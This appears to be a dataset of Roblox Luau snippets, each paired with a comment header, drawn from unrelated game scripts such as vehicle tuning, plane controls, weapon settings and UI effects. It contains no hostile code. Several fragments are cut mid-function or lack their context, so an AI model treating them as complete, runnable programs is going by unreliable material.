function ZoneController.getWorkspaceContainer()
local container = workspaceContainer or workspace:FindFirstChild(workspaceContainerName)
if not container then
container = Instance.new("Folder")
container.Name = workspaceContainerName
container.Parent = workspace
workspaceContainer = container
end
return container
end
return ZoneController
|
--------------------------------------------------------
|
function DeleteIdlePlane() --This deletes any planes that aren't currently being used
for _,v in pairs(Planekit:GetChildren()) do
if v.Name == "Plane" then
v:remove()
end
end
end
function RegenMain() --This function regens the plane
PlaneClone2 = PlaneClone:clone()
PlaneClone2.Parent = Planekit
PlaneClone2.Origin.Value = Planekit
PlaneClone2:MakeJoints()
end
function RegeneratePlane(Part) --This is the main regenerating function
Player = game.Players:GetPlayerFromCharacter(Part.Parent) --This gets the player that touched it
if Player then
if Active then
Active = false
DeleteIdlePlane() --This activates the "DeleteIdlePlane" function
for i = 0,1,0.2 do --This makes the button transparent
Main.Transparency = i
wait()
end
if RegenTime >= 1 then
RegenGui.Parent = Player.PlayerGui --The regengui will be put into the player if the regentime is more than 1
end
wait(RegenTime)
RegenGui.Parent = script --This puts the gui back in the script
RegenMain()
if EnterOnSpawn.Value then --If the EnterOnSpawn value is true...
coroutine.resume(coroutine.create(function()
repeat wait() until PlaneClone2.Welded.Value
onPlaneWelded() --This activates the "onPlaneWelded" function whenever the welded value changes
end))
end
wait(WaitTime)
for i = 1,0,-0.2 do --This makes the button visible
Main.Transparency = i
wait()
end
Active = true
end
end
end
function onPlaneWelded() --This function put you into the plane seat the moment the plane is welded
if PlaneClone2 ~= nil then
if Player then --This checks to make sure there is a player
if Player.Character:findFirstChild("Torso") then
Player.Character.Torso.CFrame = PlaneClone2.MainParts.Seat.CFrame
end
end
end
end
for _,v in pairs(Button:GetChildren()) do --This allows you to put as many bricks into the "Button" folder as you want
if v:IsA("BasePart") then --Make sure one of the bricks in the "Button" folder is named "Main"
v.Touched:connect(RegeneratePlane) --This activates the "RegeneratePlane" function when any brick in the "Button" folder is touched
end
end
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 10 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 1500 -- Front brake force
Tune.RBrakeForce = 1500 -- Rear brake force
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--!strict
|
local Types = require(script.Parent.Types)
local PlayerContainers = require(script.PlayerContainers)
local ServerBridge = require(script.ServerBridge)
local ServerIdentifiers = require(script.ServerIdentifiers)
local ServerProcess = require(script.ServerProcess)
local Server = {}
function Server.start()
ServerProcess.start()
ServerIdentifiers.start()
end
function Server.makeBridge(name: string)
return ServerBridge(name)
end
function Server.ser(identifierName: string): Types.Identifier?
return ServerIdentifiers.ser(identifierName)
end
function Server.deser(compressedIdentifier: string): Types.Identifier?
return ServerIdentifiers.deser(compressedIdentifier)
end
function Server.makeIdentifier(name: string)
return ServerIdentifiers.ref(name)
end
function Server.playerContainers()
return PlayerContainers
end
function Server.invalidPlayerhandler(func)
ServerProcess.setInvalidPlayerFunction(func)
end
return Server
|
--// bolekinds
|
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent
script.Parent.MouseButton1Click:Connect(function()
if plr.YouCash.Value >= 50 then
script.Parent.Parent.Parent.Ching:Play()
plr.YouCash.Value -= 50
game.ServerStorage.Tools.Food:Clone().Parent = plr.Backpack
end
end)
|
-- local throttleNeeded =
|
local stallLine = ((stallSpeed/math.floor(currentSpeed+0.5))*(stallSpeed/max))
stallLine = (stallLine > 1 and 1 or stallLine)
panel.Throttle.Bar.StallLine.Position = UDim2.new(stallLine,0,0,0)
panel.Throttle.Bar.StallLine.BackgroundColor3 = (stallLine > panel.Throttle.Bar.Amount.Size.X.Scale and Color3.new(1,0,0) or Color3.new(0,0,0))
if (change == 1) then
currentSpeed = (currentSpeed > desiredSpeed and desiredSpeed or currentSpeed) -- Reduce "glitchy" speed
else
currentSpeed = (currentSpeed < desiredSpeed and desiredSpeed or currentSpeed)
end
local tax,stl = taxi(),stall()
if ((lastStall) and (not stl) and (not tax)) then -- Recovering from a stall:
if ((realSpeed > -10000) and (realSpeed < 10000)) then
currentSpeed = realSpeed
else
currentSpeed = (stallSpeed+1)
end
end
lastStall = stl
move.velocity = (main.CFrame.lookVector*currentSpeed) -- Set speed to aircraft
local bank = ((((m.ViewSizeX/2)-m.X)/(m.ViewSizeX/2))*maxBank) -- My special equation to calculate the banking of the plane. It's pretty simple actually
bank = (bank < -maxBank and -maxBank or bank > maxBank and maxBank or bank)
if (tax) then
if (currentSpeed < 2) then -- Stop plane from moving/turning when idled on ground
move.maxForce = Vector3.new(0,0,0)
gyro.maxTorque = Vector3.new(0,0,0)
else
move.maxForce = Vector3.new(math.huge,0,math.huge) -- Taxi
gyro.maxTorque = Vector3.new(0,math.huge,0)
gyro.cframe = CFrame.new(main.Position,m.Hit.p)
end
elseif (stl) then
move.maxForce = Vector3.new(0,0,0) -- Stall
gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank)))
else
move.maxForce = Vector3.new(math.huge,math.huge,math.huge) -- Fly
gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank)))
end
if ((altRestrict) and (main.Position.y < altMin)) then -- If you have altitude restrictions and are below the minimun altitude, then make the plane explode
plane.AutoCrash.Value = true
end
updateGui(tax,stl) -- Keep the pilot informed!
wait()
end
end
script.Parent.Selected:connect(function(m) -- Initial setup
selected,script.Parent.CurrentSelect.Value = true,true
mouseSave = m
game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Attach
m.Icon = "http://www.roblox.com/asset/?id=2763570264" -- Mouse icon used in Perilous Skies
gui.Parent = player.PlayerGui
delay(0,function() fly(m) end) -- Basically a coroutine
m.KeyDown:connect(function(k)
if (not flying) then return end
k = k:lower()
if (k == keys.engine.key) then
on = (not on)
main.FE.OnFE:FireServer() -- FE
if (not on) then
throttle = 0
main.FE.OffFE:FireServer() -- FE
end
elseif (k == keys.landing.key) then
main.FE.GearFE:FireServer() -- FE
elseif (k:byte() == keys.spdup.byte) then
keys.spdup.down = true
delay(0,function()
while ((keys.spdup.down) and (on) and (flying)) do
main.FE.SpeedUpFE:FireServer() -- FE
throttle = (throttle+throttleInc)
throttle = (throttle > 1 and 1 or throttle)
wait()
end
end)
elseif (k:byte() == keys.spddwn.byte) then
keys.spddwn.down = true
delay(0,function()
while ((keys.spddwn.down) and (on) and (flying)) do
main.FE.SlowDownFE:FireServer() -- FE
throttle = (throttle-throttleInc)
throttle = (throttle < 0 and 0 or throttle)
wait()
end
end)
end
end)
m.KeyUp:connect(function(k)
if (k:byte() == keys.spdup.byte) then
keys.spdup.down = false
elseif (k:byte() == keys.spddwn.byte) then
keys.spddwn.down = false
end
end)
end)
function deselected(forced)
selected,script.Parent.CurrentSelect.Value = false,false
game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
gui.Parent = nil
flying = false
pcall(function()
if on == false then
move.maxForce = Vector3.new(0,0,0)
if (taxi()) then
gyro.maxTorque = Vector3.new(0,0,0)
end
end
end)
if (forced) then
if (mouseSave) then
mouseSave.Icon = "" -- If you remove a tool without the actual deselect event, the icon will not go back to normal. This helps simulate it at the least
wait()
end
script.Parent.Deselect1.Value = true -- When this is triggered, the Handling script knows it is safe to remove the tool from the player
end
end
script.Parent.Deselected:connect(deselected)
script.Parent.Deselect0.Changed:connect(function() -- When you get out of the seat while the tool is selected, Deselect0 is triggered to True
if (script.Parent.Deselect0.Value) then
deselected(true)
end
end)
|
--ai memory
|
local goalPos
local lastAttack = time()
local attackTime = .3
local atkDamage = 20
local goalHumanoid
local running
local running2
local crawling
local limp = {}
for i = 1, 10 do
limp[i] = (math.random() * 2) - 1
end
|
-- Activation]:
|
if TurnCharacterToMouse == true then
MseGuide = true
HeadHorFactor = 0
BodyHorFactor = 0
end
game:GetService("RunService").RenderStepped:Connect(function()
if shooting then
if tool.Parent == plr.Character then
if mouse.Hit and mouse.Target ~= plr.Character then
remote:FireServer(mouse.hit.p)
end
end
end
if tool.Parent == plr.Character then
local CamCF = Cam.CoordinateFrame
if ((IsR6 and Body["Torso"]) or Body["UpperTorso"])~=nil and Body["Head"]~=nil then --[Check for the Torso and Head...]
local TrsoLV = Trso.CFrame.lookVector
local HdPos = Head.CFrame.p
if IsR6 and Neck or Neck and Waist then --[Make sure the Neck still exists.]
if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then
local Dist = nil;
local Diff = nil;
if not MseGuide then --[If not tracking the Mouse then get the Camera.]
Dist = (Head.CFrame.p-CamCF.p).magnitude
Diff = Head.CFrame.Y-CamCF.Y
if not IsR6 then --[R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y.]
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aSin(Diff/Dist)*HeadVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)
Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang((aSin(Diff/Dist)*BodyVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)
else --[R15s actually have the properly oriented Neck CFrame.]
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aSin(Diff/Dist)*HeadVertFactor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor),UpdateSpeed/2)
end
else
local Point = Mouse.Hit.p
Dist = (Head.CFrame.p-Point).magnitude
Diff = Head.CFrame.Y-Point.Y
if not IsR6 then
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)
Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)
else
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor), UpdateSpeed/2)
end
end
end
end
end
if TurnCharacterToMouse == true then
Hum.AutoRotate = false
Core.CFrame = Core.CFrame:lerp(CFrame.new(Core.Position, Vector3.new(Mouse.Hit.p.x, Core.Position.Y, Mouse.Hit.p.z)), UpdateSpeed / 2)
else
Hum.AutoRotate = true
end
else
Hum.AutoRotate = true
end
end)
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 1 -- cooldown for use of the tool again
ZoneModelName = "LB blaster rise zone 5" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- Start the tween
|
local currhealth = nil
hum.HealthChanged:Connect(function(health)
script.Parent.Text = tostring( math.floor((health/hum.MaxHealth) * 100)).."%"
-- print(health/hum.MaxHealth)
currhealth = math.floor((health/hum.MaxHealth) * 100)
if currhealth >=75 then
colorcahnge(Color3.new(0, 1, 0.498039))
elseif currhealth < 75 and currhealth >= 25 then
colorcahnge(Color3.new(1, 1, 0))
else
colorcahnge(Color3.new(1, 0, 0))
end
end)
hum.Died:Connect(function()
model:PivotTo(cframe)
model.Parent = workspace
task.wait(1)
hum.Parent:Destroy()
end)
|
--[[
TransparencyController - Manages transparency of player character at close camera-to-subject distances
2018 Camera Update - AllYourBlox
--]]
|
local MAX_TWEEN_RATE = 5 -- per second
local Util = require(script.Parent:WaitForChild("CameraUtils"))
|
-- Support for options partial implementation
-- see: https://nodejs.org/dist/latest-v16.x/docs/api/util.html#utilinspectobject-options
|
export type InspectOptions = {
depth: number?,
}
type FormatOptions = {
depth: number,
}
local MAX_ARRAY_LENGTH = 10
local DEFAULT_RECURSIVE_DEPTH = 2
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{37,35,39,41,30,56,58},t},
[49]={{37,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{37,35,39,41,30,56,58,20,19},t},
[59]={{37,35,39,41,59},t},
[63]={{37,35,39,41,30,56,58,23,62,63},t},
[34]={{37,35,34},t},
[21]={{37,35,39,41,30,56,58,20,21},t},
[48]={{37,35,34,32,31,29,28,44,45,49,48},t},
[27]={{37,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{37,35,34,32,31},t},
[56]={{37,35,39,41,30,56},t},
[29]={{37,35,34,32,31,29},t},
[13]={n,f},
[47]={{37,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{37,35,34,32,31,29,28,44,45},t},
[57]={{37,35,39,41,30,56,57},t},
[36]={{37,36},t},
[25]={{37,35,34,32,31,29,28,27,26,25},t},
[71]={{37,35,39,41,59,61,71},t},
[20]={{37,35,39,41,30,56,58,20},t},
[60]={{37,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{37,35,39,41,59,61,71,72,76,73,75},t},
[22]={{37,35,39,41,30,56,58,20,21,22},t},
[74]={{37,35,39,41,59,61,71,72,76,73,74},t},
[62]={{37,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{37},t},
[2]={n,f},
[35]={{37,35},t},
[53]={{37,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{37,35,39,41,59,61,71,72,76,73},t},
[72]={{37,35,39,41,59,61,71,72},t},
[33]={{37,36,33},t},
[69]={{37,35,39,41,60,69},t},
[65]={{37,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{37,35,34,32,31,29,28,27,26},t},
[68]={{37,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{37,35,39,41,59,61,71,72,76},t},
[50]={{37,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{37,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{37,35,34,32,31,29,28,27,26,25,24},t},
[23]={{37,35,39,41,30,56,58,23},t},
[44]={{37,35,34,32,31,29,28,44},t},
[39]={{37,35,39},t},
[32]={{37,35,34,32},t},
[3]={n,f},
[30]={{37,35,39,41,30},t},
[51]={{37,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{37,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{37,35,39,41,59,61},t},
[55]={{37,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{37,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{37,35,38,42},t},
[40]={{37,35,40},t},
[52]={{37,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{37,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{37,35,39,41},t},
[17]={n,f},
[38]={{37,35,38},t},
[28]={{37,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{37,35,39,41,30,56,58,20,19,66,64},t},
}
return r
|
--//INSPARE//--
|
local player = game.Players.LocalPlayer
local lightOn = false
|
--clones this to startergui
|
script.SpawnGui.Parent=game.StarterGui
|
-- Constants
|
local DEBUG = false -- Whether or not to use debugging features of FastCast, such as cast visualization.
local BULLET_SPEED = 50 -- Studs/second - the speed of the bullet
local BULLET_MAXDIST = 1500 -- The furthest distance the bullet can travel
local BULLET_GRAVITY = Vector3.new(0, -workspace.Gravity, 0) -- The amount of gravity applied to the bullet in world space (so yes, you can have sideways gravity)
local MIN_BULLET_SPREAD_ANGLE = 1 -- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The least accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. Generally you want to keep this at 0 so there's at least some chance of a 100% accurate shot.
local MAX_BULLET_SPREAD_ANGLE = 2 -- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The most accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. This cannot be less than the value above. A value of 90 will allow the gun to shoot sideways at most, and a value of 180 will allow the gun to shoot backwards at most. Exceeding 180 will not add any more angular varience.
local FIRE_DELAY = 0 -- The amount of time that must pass after firing the gun before we can fire again.
local BULLETS_PER_SHOT = 1 -- The amount of bullets to fire every shot. Make this greater than 1 for a shotgun effect.
|
--[[Run]]
|
--Print Version
local ver=require(car["A-Chassis Tune"].README)
--Runtime Loops
-- ~60 c/s
game["Run Service"].Stepped:connect(function()
--Steering
Steering()
--RPM
RPM()
--Update External Values
_IsOn = script.Parent.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
script.Parent.Values.TransmissionMode.Value = _TMode
script.Parent.Values.Throttle.Value = _GThrot
script.Parent.Values.Brake.Value = _GBrake
script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.ABS.Value = _ABS
script.Parent.Values.ABSActive.Value = _ABSActive
script.Parent.Values.MouseSteerOn.Value = _MSteer
script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
end)
-- ~15 c/s
while wait(.0667) do
--Power
Engine()
--Flip
if _Tune.AutoFlip then Flip() end
if Stats.Fuel.Value <= 0 then _IsOn = false end
end
|
--[[
Stores common type information used internally.
These types may be used internally so Fusion code can type-check, but
should never be exposed to public users, as these definitions are fair game
for breaking changes.
]]
|
local Package = script.Parent
local PubTypes = require(Package.PubTypes)
type Set<T> = {[T]: any}
|
--CHANGE THIS LINE--
|
Signal = script.Parent.Parent.Parent.ControlBox.PedValues.PedSignal1 -- Change last word
|
--[=[
An object that can have the method :Destroy() called on it
@type Destructable Instance | { Destroy: function }
@within MaidTaskUtils
]=]
| |
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 400 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--// All global vars will be wiped/replaced except script
|
return function(data, env)
if env then
setfenv(1, env)
end
local gui = client.UI.Prepare(script.Parent.Parent) -- Change it to a TextLabel to avoid chat clearing
local playergui = service.PlayerGui
local frame = gui.Frame
local msg = gui.Frame.Message
local ttl = gui.Frame.Title
local gIndex = data.gIndex
local gTable = data.gTable
local title = data.Title
local message = data.Message
local scroll = data.Scroll
local tim = data.Time
if not data.Message or not data.Title then gui:Destroy() end
ttl.Text = title
msg.Text = message
ttl.TextTransparency = 1
msg.TextTransparency = 1
ttl.TextStrokeTransparency = 1
msg.TextStrokeTransparency = 1
frame.BackgroundTransparency = 1
local blur = service.New("BlurEffect")
blur.Enabled = false
blur.Size = 0
blur.Parent = workspace.CurrentCamera
local fadeSteps = 10
local blurSize = 10
local textFade = 0.1
local strokeFade = 0.5
local frameFade = 0.3
local blurStep = blurSize/fadeSteps
local frameStep = frameFade/fadeSteps
local textStep = 0.1
local strokeStep = 0.1
local gone = false
local function fadeIn()
if not gone then
blur.Enabled = true
gTable:Ready()
--gui.Parent = service.PlayerGui
for i = 1,fadeSteps do
if blur.Size<blurSize then
blur.Size = blur.Size+blurStep
end
if msg.TextTransparency>textFade then
msg.TextTransparency = msg.TextTransparency-textStep
ttl.TextTransparency = ttl.TextTransparency-textStep
end
if msg.TextStrokeTransparency>strokeFade then
msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep
end
if frame.BackgroundTransparency>frameFade then
frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep
end
task.wait(1/60)
end
end
end
local function fadeOut()
if not gone then
for i = 1,fadeSteps do
if blur.Size>0 then
blur.Size = blur.Size-blurStep
end
if msg.TextTransparency<1 then
msg.TextTransparency = msg.TextTransparency+textStep
ttl.TextTransparency = ttl.TextTransparency+textStep
end
if msg.TextStrokeTransparency<1 then
msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep
end
if frame.BackgroundTransparency<1 then
frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep
end
task.wait(1/60)
end
blur.Enabled = false
blur:Destroy()
service.UnWrap(gui):Destroy()
gone = true
end
end
gTable.CustomDestroy = function()
if not gone then
gone = true
pcall(fadeOut)
end
pcall(function() service.UnWrap(gui):Destroy() end)
pcall(function() blur:Destroy() end)
end
--[[if not scroll then
msg.Text = message
else
Routine(function()
task.wait(0.5)
for i = 1, #message do
msg.Text = msg.Text .. message:sub(i,i)
task.wait(0.05)
end
end)
end--]] -- For now?
fadeIn()
task.wait(tim or 5)
if not gone then
fadeOut()
end
--[[
frame.Position = UDim2.new(0.5,-175,-1.5,0)
gui.Parent = playergui
frame:TweenPosition(UDim2.new(0.5,-175,0.25,0),nil,nil,0.5)
if not scroll then
msg.Text = message
task.wait(tim or 10)
else
task.wait(0.5)
for i = 1, #message do
msg.Text = msg.Text .. message:sub(i,i)
task.wait(0.05)
end
task.wait(tim or 5)
end
if frame then
frame:TweenPosition(UDim2.new(0.5,-175,-1.5,0),nil,nil,0.5)
task.wait(1)
gui:Destroy()
end
--]]
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 180 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 370 ,
spInc = 40 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 400 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
--[[
Novena Constraint Type: Motorcycle
The Bike Chassis
RikOne2 | Enjin
--]]
|
local bike = script.Parent.Bike.Value
local FE = game.Workspace.FilteringEnabled
local C=game.Players.LocalPlayer.Character
local handler = bike:WaitForChild("Anims")
|
-- FUNCTIONS --
|
local function checkHolding()
end
Tool.Equipped:Connect(function()
Equipped = true
Char = Tool.Parent
HumRP = Char:WaitForChild("HumanoidRootPart")
Humanoid = Char:WaitForChild("Humanoid")
Animations = {
["Z"] = Humanoid:LoadAnimation(script.Animations.Z),
["X"] = Humanoid:LoadAnimation(script.Animations.X),
}
if not loopConnection then
loopConnection = game:GetService("RunService").RenderStepped:Connect(function()
if UIS:IsKeyDown(Enum.KeyCode.Z) then
if Char:FindFirstChild("Disabled") then return end
if not Z then
if Equipped and not CS:HasTag(Char, "Z") and not CS:HasTag(Char, "Busy") then
SkillsHandler:FireServer("Skill", Tool.Name, "Hold", "Z")
end
end
Z = true
else
if Z then
isHolding = false
SkillsHandler:FireServer("Skill", Tool.Name, "Release", "Z", Mouse:GetHit().Position, Char.HumanoidRootPart.CFrame)
Animations.Z:AdjustSpeed(1)
end
Z = false
end
end)
end
if not holdingConnection then
holdingConnection = Holding.Changed:Connect(function()
coroutine.wrap(function()
if Holding.Value ~= "None" then
HumRP.Anchored = true
isHolding = true
if Holding.Value == "Z" then
Animations.Z:Play()
Animations.Z:GetMarkerReachedSignal("Idle"):Connect(function()
if isHolding == true then
Animations.Z:AdjustSpeed(0)
end
end)
repeat
HumRP.CFrame = CFrame.lookAt(HumRP.Position, Vector3.new(Mouse:GetHit().Position.X, HumRP.Position.Y, Mouse:GetHit().Position.Z))
task.wait()
until Holding.Value ~= "Z"
elseif Holding.Value == "X" then
Animations.X:Play()
Animations.X:GetMarkerReachedSignal("Idle"):Connect(function()
if isHolding == true then
Animations.X:AdjustSpeed(0)
end
end)
repeat
HumRP.CFrame = CFrame.lookAt(HumRP.Position, Vector3.new(Mouse:GetHit().Position.X, HumRP.Position.Y, Mouse:GetHit().Position.Z))
task.wait()
until Holding.Value ~= "X"
end
else
HumRP.Anchored = false
end
end)()
end)
end
end)
Tool.Unequipped:Connect(function()
Equipped = false
if loopConnection ~= nil then
loopConnection:Disconnect()
loopConnection = nil
end
if holdingConnection ~= nil then
holdingConnection:Disconnect()
holdingConnection = nil
end
end)
|
--Weight Setup--
|
uv = script.Parent.CFrame.upVector
local distribution = WeightDistribution --0-100%, how much of the weight is in the rear, 50 = 50%/50%
local DistA = (distribution/25)
local DistB = ((100-distribution)/25)
local Dist1 = math.max(0,DistB-1)
local Dist2 = math.min(DistA,1)
local DistF = (FL.Position+FR.Position)*Dist1
local DistR = (RL.Position+RR.Position)*Dist2
local DistD = (Dist1+Dist2)*2
local weight = Instance.new("Part")
weight.Parent = script.Parent.Parent
weight.CanCollide = false
weight.Position = script.Parent.Position
weight.CFrame = CFrame.new((DistF+DistR)/DistD)
weight.Position = weight.Position + Vector3.new(0.9,0.9,0.9)*script.Parent.CFrame.upVector
weight.Size = Vector3.new(3, 2, 4)
weight.Rotation = script.Parent.Rotation
weight.Name = "Weight"
weight.Anchored = true
local engine = Instance.new("Part") engine.Anchored = true
engine.Parent = script.Parent.Parent
engine.CanCollide = false
engine.Position = script.Parent.Position
engine.Position = engine.Position + Vector3.new(2,2,2)*script.Parent.CFrame.upVector
engine.Size = (Vector3.new(1, 0.7, 0.7)*(EngineDisplacement/4000))+Vector3.new(2, 1.4, 1.4)
engine.Rotation = script.Parent.Rotation
engine.Name = "Engine"
local fuel = Instance.new("Part") fuel.Anchored = true
fuel.Parent = script.Parent.Parent
fuel.CanCollide = false
fuel.Position = script.Parent.Position
fuel.Position = fuel.Position + Vector3.new(2.5,2.5,2.5)*script.Parent.CFrame.upVector
fuel.Size = Vector3.new(2.5, 2.5, 7)
fuel.Rotation = script.Parent.Rotation
fuel.Name = "FuelTank"
local trans = Instance.new("Part") trans.Anchored = true
trans.Parent = script.Parent.Parent
trans.CanCollide = false
trans.Position = script.Parent.Position
trans.Position = trans.Position + Vector3.new(3,3,3)*script.Parent.CFrame.upVector
trans.Size = Vector3.new(2.7, 2, 2)*(AmountOfGears/7)
trans.Rotation = script.Parent.Rotation
trans.Name = "Transmission"
local diff = Instance.new("Part") diff.Anchored = true
diff.Parent = script.Parent.Parent
diff.CanCollide = false
diff.Position = script.Parent.Position
diff.Position = diff.Position + Vector3.new(3.5,3.5,3.5)*script.Parent.CFrame.upVector
diff.Size = Vector3.new(2, 2, 2)
diff.Rotation = script.Parent.Rotation
diff.Name = "Differential"
fuel.CFrame = CFrame.new(((RL.Position)+(RR.Position))/2)
fuel.CFrame = fuel.CFrame + Vector3.new(3,3,3)*lv
if Drivetrain == "RWD" then
diff.CFrame = CFrame.new(((RL.Position)+(RR.Position))/2)
elseif Drivetrain == "FWD" then
diff.CFrame = CFrame.new(((FL.Position)+(FR.Position))/2)
engine.Rotation = engine.Rotation + Vector3.new(0,90,0)
elseif Drivetrain == "AWD" then
diff.CFrame = CFrame.new(((RL.Position)+(RR.Position))/2)
if TorqueSplit < 51 then
engine.Rotation = engine.Rotation + Vector3.new(0,90,0)
end
end
if EngineLocation == "Front" then
engine.CFrame = CFrame.new(((FL.Position)+(FR.Position))/2)
engine.CFrame = engine.CFrame + Vector3.new(2,2,2)*lv
engine.CFrame = engine.CFrame + Vector3.new(1,1,1)*uv
trans.CFrame = engine.CFrame + Vector3.new(-1.5,-1.5,-1.5)*lv
elseif EngineLocation == "Mid" then
engine.CFrame = CFrame.new(((RL.Position)+(RR.Position))/2)
engine.CFrame = engine.CFrame + Vector3.new(2,2,2)*lv
engine.CFrame = engine.CFrame + Vector3.new(1,1,1)*uv
trans.CFrame = engine.CFrame + Vector3.new(1.5,1.5,1.5)*lv
elseif EngineLocation == "Rear" then
engine.CFrame = CFrame.new(((RL.Position)+(RR.Position))/2)
engine.CFrame = engine.CFrame + Vector3.new(-2,-2,-2)*lv
engine.CFrame = engine.CFrame + Vector3.new(1,1,1)*uv
trans.CFrame = engine.CFrame + Vector3.new(-1.5,-1.5,-1.5)*lv
end
rv = script.Parent.CFrame.rightVector
|
--[[function this:AttackMount( characterMainClass,character )
local Delay = 0
local Apologise = false
if character.CharacterFolder.Stats.Health.Value <= 2 then
if characterMainClass.RaceInfo.Apologetic == true then
Apologise = true
Delay = (character.CharacterFolder.Stats.Health.Value <= 1 and .7) or .0
end
end
if characterMainClass.LastMountPunchTime < ((time() - .7) - Delay) then
characterMainClass.LastMountPunchTime = time()
